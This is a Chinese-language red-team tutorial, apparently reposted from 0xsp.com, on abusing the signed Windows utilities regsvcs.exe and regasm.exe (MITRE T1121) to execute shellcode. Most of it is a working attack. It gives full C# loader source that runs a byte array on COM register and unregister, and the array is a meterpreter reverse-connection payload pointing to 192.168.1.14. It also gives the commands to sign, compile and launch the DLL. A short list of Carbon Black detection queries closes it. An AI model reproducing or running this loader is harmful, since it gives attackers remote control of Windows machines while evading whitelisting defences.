.NET Exploitation MITRE T1121

Regsvcs和Regasm是Windows命令行实用程序，用于注册.NET组件对象模型（COM）程序集。 两者均有微软的签名.

我的目的就是使用它来执行csharp shellcode.

攻击条件:

• .Net框架开发工具集
• Microsoft SDK
• .NET 桌面开发环境包

POC

cd C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.8 Tools

生成sn key

sn.exe -k key.snk

cd C:\Windows\Microsoft.NET\Framework\v4.0.xxx

替换shellcode(CobaltStrike生成)

using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using System.EnterpriseServices;


namespace regsvcser
{

    public class Bypass : ServicedComponent
    {
        public Bypass() { Console.WriteLine("I am a basic COM Object"); }

        [ComRegisterFunction] //This executes if registration is successful
        public static void RegisterClass ( string key )
        {
            Console.WriteLine("I shouldn't really execute");
            Shellcode.Exec();
        }

        [ComUnregisterFunction] //This executes if registration fails
        public static void UnRegisterClass ( string key )
        {
            Console.WriteLine("I shouldn't really execute either.");
            Shellcode.Exec();
        }
    }

    public class Shellcode
    {
        public static void Exec()
        {
            // native function's compiled code
            // meterpreter LHOST=192.168.1.14 generated with metasploit

            byte[] shellcode = new byte[891] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x75, 0x72, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x4f, 0xff, 0xff, 0xff, 0x5d, 0x6a, 0x00, 0x49, 0xbe, 0x77, 0x69, 0x6e, 0x69, 0x6e, 0x65, 0x74, 0x00, 0x41, 0x56, 0x49, 0x89, 0xe6, 0x4c, 0x89, 0xf1, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x48, 0x31, 0xd2, 0x4d, 0x31, 0xc0, 0x4d, 0x31, 0xc9, 0x41, 0x50, 0x41, 0x50, 0x41, 0xba, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xeb, 0x73, 0x5a, 0x48, 0x89, 0xc1, 0x41, 0xb8, 0x61, 0x1e, 0x00, 0x00, 0x4d, 0x31, 0xc9, 0x41, 0x51, 0x41, 0x51, 0x6a, 0x03, 0x41, 0x51, 0x41, 0xba, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0xeb, 0x59, 0x5b, 0x48, 0x89, 0xc1, 0x48, 0x31, 0xd2, 0x49, 0x89, 0xd8, 0x4d, 0x31, 0xc9, 0x52, 0x68, 0x00, 0x02, 0x40, 0x84, 0x52, 0x52, 0x41, 0xba, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x48, 0x89, 0xc6, 0x48, 0x83, 0xc3, 0x50, 0x6a, 0x0a, 0x5f, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x49, 0xc7, 0xc0, 0xff, 0xff, 0xff, 0xff, 0x4d, 0x31, 0xc9, 0x52, 0x52, 0x41, 0xba, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x0f, 0x85, 0x9d, 0x01, 0x00, 0x00, 0x48, 0xff, 0xcf, 0x0f, 0x84, 0x8c, 0x01, 0x00, 0x00, 0xeb, 0xd3, 0xe9, 0xe4, 0x01, 0x00, 0x00, 0xe8, 0xa2, 0xff, 0xff, 0xff, 0x2f, 0x7a, 0x63, 0x48, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x35, 0x2e, 0x30, 0x20, 0x28, 0x69, 0x50, 0x68, 0x6f, 0x6e, 0x65, 0x3b, 0x20, 0x43, 0x50, 0x55, 0x20, 0x69, 0x50, 0x68, 0x6f, 0x6e, 0x65, 0x20, 0x4f, 0x53, 0x20, 0x31, 0x31, 0x5f, 0x30, 0x20, 0x6c, 0x69, 0x6b, 0x65, 0x20, 0x4d, 0x61, 0x63, 0x20, 0x4f, 0x53, 0x20, 0x58, 0x29, 0x20, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x57, 0x65, 0x62, 0x4b, 0x69, 0x74, 0x2f, 0x36, 0x30, 0x34, 0x2e, 0x31, 0x2e, 0x33, 0x38, 0x0d, 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xbe, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0xba, 0x00, 0x00, 0x40, 0x00, 0x41, 0xb8, 0x00, 0x10, 0x00, 0x00, 0x41, 0xb9, 0x40, 0x00, 0x00, 0x00, 0x41, 0xba, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x48, 0x93, 0x53, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x41, 0xb8, 0x00, 0x20, 0x00, 0x00, 0x49, 0x89, 0xf9, 0x41, 0xba, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x20, 0x85, 0xc0, 0x74, 0xb6, 0x66, 0x8b, 0x07, 0x48, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xd7, 0x58, 0x58, 0x58, 0x48, 0x05, 0x00, 0x00, 0x00, 0x00, 0x50, 0xc3, 0xe8, 0x9f, 0xfd, 0xff, 0xff, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x31, 0x2e, 0x31, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00 };




            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            // prepare data


            IntPtr pinfo = IntPtr.Zero;

            // execute native code

            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

        private static UInt32 MEM_COMMIT = 0x1000;

        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);


        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(

          UInt32 lpThreadAttributes,
          UInt32 dwStackSize,
          UInt32 lpStartAddress,
          IntPtr param,
          UInt32 dwCreationFlags,
          ref UInt32 lpThreadId

          );

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(

          IntPtr hHandle,
          UInt32 dwMilliseconds
          );


    }

}

使用常规加载方式

然后编译

csc.exe /r:System.EnterpriseServices.dll /target:library /out:regsvcs.dll /keyfile:key.snk payload.cs

执行dll

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U regsvcs.dll

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe regsvcs.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U regsvcs.dll

OK!

IOCS:

cb.urlver=1&q=(process_name:regasm.exe AND modload:mswsock.dll) 
cb.urlver=1&q=(process_name:regasm.exe AND cmdline:.dll )
cb.urlver=1&q=(process_name :regasm.exe AND cmdline:/U )
cb.urlver=1&q=(process_name:regsvcs.exe AND modload:mswsock.dll) 
cb.urlver=1&q=(process_name:regsvcs.exe AND cmdline:.dll) 
cb.urlver=1&q=(process_name :regsvcs.exe AND cmdline:/U )

原文地址: https://0xsp.com/offensive/red-ops-techniques/.net-exploitation-mitre-t1121